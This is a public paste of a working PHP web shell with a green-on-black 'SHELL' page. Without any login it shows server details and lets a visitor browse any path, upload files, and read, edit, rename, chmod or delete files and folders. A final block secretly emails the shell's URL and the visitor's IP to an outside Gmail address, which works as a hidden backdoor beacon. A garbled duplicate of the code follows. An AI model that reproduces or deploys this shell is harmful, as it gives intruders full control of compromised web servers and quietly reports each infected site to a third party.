TEXT   52

Untitled

Guest on 25th April 2022 09:26:01 AM

  1. <title>SUCCESS:)</title>
  2.  <?php
  3. error_reporting(0);
  4. session_start();
  5.  
  6. if(get_magic_quotes_gpc()){
  7. foreach($_POST as $key=>$value){
  8. $_POST[$key] = stripslashes($value);
  9. }
  10. }
  11.  
  12. echo '<!DOCTYPE HTML>
  13. <link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
  14. <link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
  15. <center>
  16. <style type="text/css">
  17. body {
  18.         font-family: Kelly Slab;
  19.         background-color: black;
  20.         color: lime;
  21.         }
  22. #content tr:hover{
  23.         background-color: grey;
  24.         text-shadow:0px 0px 10px #000000;
  25.         }
  26. #content .first{
  27.         color: #000000;
  28.         background-image:url(#);
  29.         }
  30. #content .first:hover{
  31.         background-color: grey;
  32.         text-shadow:0px 0px 1px #339900;
  33.         }
  34. table, th, td {
  35.                 border-collapse:collapse;
  36.                 padding: 5px;
  37.                 color: lime;
  38.                 }
  39. .table_home, .th_home, .td_home {
  40.                 color: lime;
  41.                 border: 2px solid grey;
  42.                 padding: 7px;
  43.                 }
  44. a{
  45.         font-size: 19px;
  46.         color: #00ff00;
  47.         text-decoration: none;
  48.         }
  49. a:hover{
  50.         color: white;
  51.         text-shadow:0px 0px 10px #339900;
  52.         }
  53. input,select,textarea{
  54.         border: 1px #ffffff solid;
  55.         -moz-border-radius: 5px;
  56.         -webkit-border-radius:5px;
  57.         border-radius:5px;
  58.         }
  59. .close {
  60.         overflow: auto;
  61.         border: 1px solid lime;
  62.         background: lime;
  63.         color: white;
  64.         }
  65. .r {
  66.         float: right;
  67.         text-align: right;
  68.         }
  69. </style>
  70. <a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: white;">
  71. SHELL </h1></a>
  72. <BODY>
  73.  
  74. <table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
  75. <tr><td>';
  76. echo "<tr><td><font color='white'>
  77. <i class='fa fa-user'></i> <td>: <font color='lime'>".$_SERVER['REMOTE_ADDR']."<tr><td><font color='white'>
  78. <i class='fa fa-desktop'></i> <td>: <font color='lime'>".gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']."<tr><td><font color='white'>
  79. <i class='fa fa-hdd-o'></i> <td>: <font color='lime'>".php_uname()."</font></tr></td></table>";
  80.  
  81. echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
  82. <tr align="center"><td align="center"><br>';
  83.  
  84. if(isset($_GET['path'])){
  85. $path = $_GET['path'];
  86. }else{
  87. $path = getcwd();
  88. }
  89. $path = str_replace('\\','/',$path);
  90. $paths = explode('/',$path);
  91.  
  92. foreach($paths as $id=>$pat){
  93. if($pat == '' && $id == 0){
  94. $a = true;
  95. echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';
  96. continue;
  97. }
  98. if($pat == '') continue;
  99. echo '<a href="?path=';
  100. for($i=0;$i<=$id;$i++){
  101. echo "$paths[$i]";
  102. if($i != $id) echo "/";
  103. }
  104. echo '">'.$pat.'</a>/';
  105. }
  106.  
  107.  
  108. //upload
  109. echo '<br><br><br><font color="lime"><form enctype="multipart/form-data" method="POST">
  110. Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/></font>
  111. <input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>';
  112. if(isset($_FILES['file'])){
  113. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  114. echo '<br><br><font color="lime">UPLOAD SUCCES !!!!</font><br/>';
  115. }else{
  116. echo '<script>alert("File Gagal Diupload !!")</script>';
  117. }
  118. }
  119.  
  120. echo '</form></td></tr>';
  121. if(isset($_GET['filesrc'])){
  122. echo "<tr><td>files >> ";
  123. echo $_GET['filesrc'];
  124. echo '</tr></td></table><br />';
  125. echo(' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  126. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  127. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  128.  
  129. //Chmod
  130. if($_POST['opt'] == 'chmod'){
  131. if(isset($_POST['perm'])){
  132. if(chmod($_POST['path'],$_POST['perm'])){
  133. echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
  134. }else{
  135. echo '<script>alert("Change Permission Gagal !!")</script>';
  136. }
  137. }
  138. echo '<form method="POST">
  139. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" style="width:80px; height: 30px;"/>
  140. <input type="hidden" name="path" value="'.$_POST['path'].'">
  141. <input type="hidden" name="opt" value="chmod">
  142. <input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
  143. </form>';
  144. }
  145.  
  146. //rename folder
  147. elseif($_GET['opt'] == 'btw'){
  148.         $cwd = getcwd();
  149.          echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
  150. New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
  151. <input type="hidden" name="path" value="'.$cwd.'">
  152. <input type="hidden" name="opt" value="delete">
  153. <input type="submit" value="Go" style="width:100px; height: 30px;"/>
  154. </form>';
  155. }
  156.  
  157. //rename file
  158. elseif($_POST['opt'] == 'rename'){
  159. if(isset($_POST['newname'])){
  160. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  161. echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
  162. }else{
  163. echo '<script>alert("Change Name Gagal !!")</script>';
  164. }
  165. $_POST['name'] = $_POST['newname'];
  166. }
  167. echo '<form method="POST">
  168. New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="'.$_POST['name'].'" />
  169. <input type="hidden" name="path" value="'.$_POST['path'].'">
  170. <input type="hidden" name="opt" value="rename">
  171. <input type="submit" value="Lanjut" style="height:30px;" />
  172. </form>';
  173. }
  174.  
  175. //edit file
  176. elseif($_POST['opt'] == 'edit'){
  177. if(isset($_POST['src'])){
  178. $fp = fopen($_POST['path'],'w');
  179. if(fwrite($fp,$_POST['src'])){
  180. echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
  181. }else{
  182. echo '<script>alert("Edit File Gagal !!")</script>';
  183. }
  184. fclose($fp);
  185. }
  186. echo '<form method="POST">
  187. <textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  188. <input type="hidden" name="path" value="'.$_POST['path'].'">
  189. <input type="hidden" name="opt" value="edit">
  190. <input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
  191. </form>';
  192. }
  193. echo '</center>';
  194. }else{
  195. echo '</table><br /><center>';
  196.  
  197. //delete dir
  198. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  199. if($_POST['type'] == 'dir'){
  200. if(rmdir($_POST['path'])){
  201. echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
  202. }else{
  203. echo '<script>alert("Delete Dir Gagal !!")</script>>';
  204. }
  205. }
  206.  
  207. //delete file
  208. elseif($_POST['type'] == 'file'){
  209. if(unlink($_POST['path'])){
  210. echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
  211. }else{
  212. echo '<script>alert("Delete File Gagal !!")</script>';
  213. }
  214. }
  215. }
  216. ?>
  217. <?php
  218. echo '</center>';
  219. $scandir = scandir($path);
  220. $pa = getcwd();
  221. echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  222. <tr class="first">
  223. <th><center>Name</center></th>
  224. <th><center>Size</center></th>
  225. <th><center>Perm</center></th>
  226. <th><center>Options</center></th>
  227. </tr>
  228. <tr>';
  229.  
  230. foreach($scandir as $dir){
  231. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  232. echo "<tr>
  233. <td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>
  234. <td class=td_home><center>DIR</center></td>
  235. <td class=td_home><center>";
  236. if(is_writable("$path/$dir")) echo '<font color="#57FF00">';
  237. elseif(!is_readable("$path/$dir")) echo '<font color="#FF0004">';
  238. echo perms("$path/$dir");
  239. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  240.  
  241. echo "</center></td>
  242. <td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
  243. <select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
  244. <option value=\"Action\">Action</option>
  245. <option value=\"delete\">Delete</option>
  246. <option value=\"chmod\">Chmod</option>
  247. <option value=\"rename\">Rename</option>
  248. </select>
  249. <input type=\"hidden\" name=\"type\" value=\"dir\">
  250. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  251. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  252. <input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
  253. </form></center></td>
  254. </tr>";
  255. }
  256.  
  257. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  258. foreach($scandir as $file){
  259. if(!is_file("$path/$file")) continue;
  260. $size = filesize("$path/$file")/1024;
  261. $size = round($size,3);
  262. if($size >= 1024){
  263. $size = round($size/1024,2).' MB';
  264. }else{
  265. $size = $size.' KB';
  266. }
  267.  
  268. echo "<tr>
  269. <td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
  270. <td class=td_home><center>".$size."</center></td>
  271. <td class=td_home><center>";
  272. if(is_writable("$path/$file")) echo '<font color="#57FF00">';
  273. elseif(!is_readable("$path/$file")) echo '<font color="#FF0004">';
  274. echo perms("$path/$file");
  275. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  276.  
  277. echo "</center></td>
  278. <td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
  279. <select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
  280. <option value=\"Action\">Action</option>
  281. <option value=\"delete\">Delete</option>
  282. <option value=\"edit\">Edit</option>
  283. <option value=\"rename\">Rename</option>
  284. <option value=\"chmod\">Chmod</option>
  285. </select>
  286. <input type=\"hidden\" name=\"type\" value=\"file\">
  287. <input type=\"hidden\" name=\"name\" value=\"$file\">
  288. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  289. <input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
  290. </form></center></td>
  291. </tr>";
  292. }
  293.  
  294. echo '</table>
  295. </div>';
  296. }
  297.  
  298. function perms($file){
  299. $perms = fileperms($file);
  300.  
  301. if (($perms & 0xC000) == 0xC000) {
  302. // Socket
  303. $info = 's';
  304. } elseif (($perms & 0xA000) == 0xA000) {
  305. // Symbolic Link
  306. $info = 'l';
  307. } elseif (($perms & 0x8000) == 0x8000) {
  308. // Regular
  309. $info = '-';
  310. } elseif (($perms & 0x6000) == 0x6000) {
  311. // Block special
  312. $info = 'b';
  313. } elseif (($perms & 0x4000) == 0x4000) {
  314. // Directory
  315. $info = 'd';
  316. } elseif (($perms & 0x2000) == 0x2000) {
  317. // Character special
  318. $info = 'c';
  319. } elseif (($perms & 0x1000) == 0x1000) {
  320. // FIFO pipe
  321. $info = 'p';
  322. } else {
  323. // Unknown
  324. $info = 'u';
  325. }
  326.  
  327. // Owner
  328. $info .= (($perms & 0x0100) ? 'r' : '-');
  329. $info .= (($perms & 0x0080) ? 'w' : '-');
  330. $info .= (($perms & 0x0040) ?
  331. (($perms & 0x0800) ? 's' : 'x' ) :
  332. (($perms & 0x0800) ? 'S' : '-'));
  333.  
  334. // Group
  335. $info .= (($perms & 0x0020) ? 'r' : '-');
  336. $info .= (($perms & 0x0010) ? 'w' : '-');
  337. $info .= (($perms & 0x0008) ?
  338. (($perms & 0x0400) ? 's' : 'x' ) :
  339. (($perms & 0x0400) ? 'S' : '-'));
  340.  
  341. // World
  342. $info .= (($perms & 0x0004) ? 'r' : '-');
  343. $info .= (($perms & 0x0002) ? 'w' : '-');
  344. $info .= (($perms & 0x0001) ?
  345. (($perms & 0x0200) ? 't' : 'x' ) :
  346. (($perms & 0x0200) ? 'T' : '-'));
  347.  
  348. return $info;
  349. }
  350. ?>
  351. <?php
  352. @ini_set('output_buffering', 0);
  353. @ini_set('display_errors', 0);
  354. set_time_limit(0);
  355. ini_set('memory_limit', '64M');
  356. header('Content-Type: text/html; charset=UTF-8');
  357. $tujuanmail = 'list.log.bot@gmail.com';
  358. $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
  359. $pesan_alert = "Gotchaa $x_path <=Shells | IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
  360. mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
  361. ?>
  362. </BODY>
  363. </HTML>

Raw Paste

'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

'; //Chmod if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo '

CHANGE PERMISSION SUCCESS !!
'; }else{ echo ''; } } echo '
Permission :
'; } //rename folder elseif($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo '
New Name :
'; } //rename file elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo '

CHANGE NAME SUCCESS !!
'; }else{ echo ''; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; } //edit file elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo '

EDIT FILE SUCCESS !!
'; }else{ echo ''; } fclose($fp); } echo '

'; } echo '
'; }else{ echo '
'; //delete dir if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo '

DELETE DIR SUCCESS !!
'; }else{ echo '>'; } } //delete file elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo '

DELETE FILE SUCCESS !!
'; }else{ echo ''; } } } ?> '; $scandir = scandir($path); $pa = getcwd(); echo '
'; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo ""; } echo '
Name
Size
Perm
Options
$dir
DIR
"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "
\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
$file
".$size."
"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "
\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
'; } function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>

Login or Register to edit or fork this paste. It's free.